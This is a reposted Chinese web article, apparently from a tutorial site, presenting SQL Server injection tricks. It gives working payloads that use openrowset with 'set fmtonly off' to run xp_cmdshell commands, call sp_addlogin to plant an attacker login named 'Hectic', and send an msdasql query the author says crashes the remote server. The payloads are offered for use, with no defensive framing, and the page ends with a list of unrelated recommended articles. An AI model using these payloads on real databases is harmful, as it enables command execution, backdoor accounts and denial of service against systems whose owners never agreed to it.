请注意那些容易被忽略的SQL注入技巧

free代付款

free代付款

2016-01-29 15:55

请注意那些容易被忽略的SQL注入技巧,请注意那些容易被忽略的SQL注入技巧
下面我要谈到一些Sqlserver新的Bug,虽然本人经过长时间的努力,当然也有点幸运的成分在内,才得以发现,不敢一个人独享,拿出来请大家鉴别。

  1.关于Openrowset和Opendatasource

  可能这个技巧早有人已经会了,就是利用openrowset发送本地命令。通常我们的用法是(包括MSDN的列子)如下:

select * from openrowset('sqloledb','myserver';'sa';'','select * from
 table')

(本文来源于图老师网站,更多请访问https://m.tulaoshi.com/sqlserver/)

  可见(即使从字面意义上看)openrowset只是作为一个快捷的远程数据库访问,它必须跟在select后面,也就是说需要返回一个recordset 。

  那么我们能不能利用它调用xp_cmdshell呢?答案是肯定的!

(本文来源于图老师网站,更多请访问https://m.tulaoshi.com/sqlserver/)

select * from openrowset('sqloledb','server';'sa';'','set fmtonly off
 exec master.dbo.xp_cmdshel l ''dir c:''')

  必须加上set fmtonly off用来屏蔽默认的只返回列信息的设置,这样xp_cmdshell返回的output集合就会提交给前面的select显示,如果采用默认设置,会返回空集合导致select出错,命令也就无法执行了。

  那么如果我们要调用sp_addlogin呢,他不会像xp_cmdshell返回任何集合的,我们就不能再依靠fmtonly设置了,可以如下操作

select * from openrowset('sqloledb','server';'sa';'','select ''OK!''
exec master.dbo.sp_addlogin Hectic')

  这样,命令至少会返回select OK!'的集合,你的机器商会显示OK!,同时对方的数据库内也会增加一个Hectic的账号,也就是说,我们利用

  select 'OK!'的返回集合欺骗了本地的select请求,是命令能够正常执行,通理sp_addsrvrolemember和opendatasource也可以如此操作!至于这个方法真正的用处,大家慢慢想吧。

  2.关于Msdasql两次请求的问题

  不知道大家有没有试过用msdasql连接远程数据库,当然这个api必须是sqlserver的管理员才可以调用,那么如下:

select * from openrowset('msdasql','driver={sql
server};server=server;address=server,1433;uid=sa;pwd=;database=master;network=dbmssocn','s
elect * from table1 select * from table2')

  当table1和table2的字段数目不相同时,你会发现对方的sqlserver崩溃了,连本地连接都会失败,而系统资源占用一切正常,用pskill杀死 sqlserver进程后,如果不重启机器,sqlserver要么无法正常启动,要么时常出现非法操作,我也只是碰巧找到这个bug的,具体原因我还没有摸透,而且很奇怪的是这个现象只出现在msdasql上,sqloledb就没有这个问题,看来问题不是在于请求集合数目和返回集合数目不匹配上,应该还是msdasql本身的问题,具体原因,大家一起慢慢研究吧。

展开更多 50%)
分享

猜你喜欢

请注意那些容易被忽略的SQL注入技巧

SQLServer
请注意那些容易被忽略的SQL注入技巧

《辐射4》探秘那些最容易被忽略的隐藏地点

辐射4
《辐射4》探秘那些最容易被忽略的隐藏地点

s8lol主宰符文怎么配

英雄联盟 网络游戏
s8lol主宰符文怎么配

Windows 8系统下那些被您忽略的技巧汇总

电脑入门
Windows 8系统下那些被您忽略的技巧汇总

网站设计容易被忽略的问题

网站设计 网页设计 设计 平面设计
网站设计容易被忽略的问题

lol偷钱流符文搭配推荐

英雄联盟 网络游戏
lol偷钱流符文搭配推荐

汽车哪些保养项目容易被忽略

汽车保养 刹车
汽车哪些保养项目容易被忽略

那些被忽略的宝宝感冒并发症

育儿知识
那些被忽略的宝宝感冒并发症

lolAD刺客新符文搭配推荐

英雄联盟
lolAD刺客新符文搭配推荐

Photoshop教程:制作一个清新的半透明扁平图标

Photoshop教程:制作一个清新的半透明扁平图标

SQL Server查询处理器机制与结构(下)

SQL Server查询处理器机制与结构(下)
下拉加载更多内容 ↓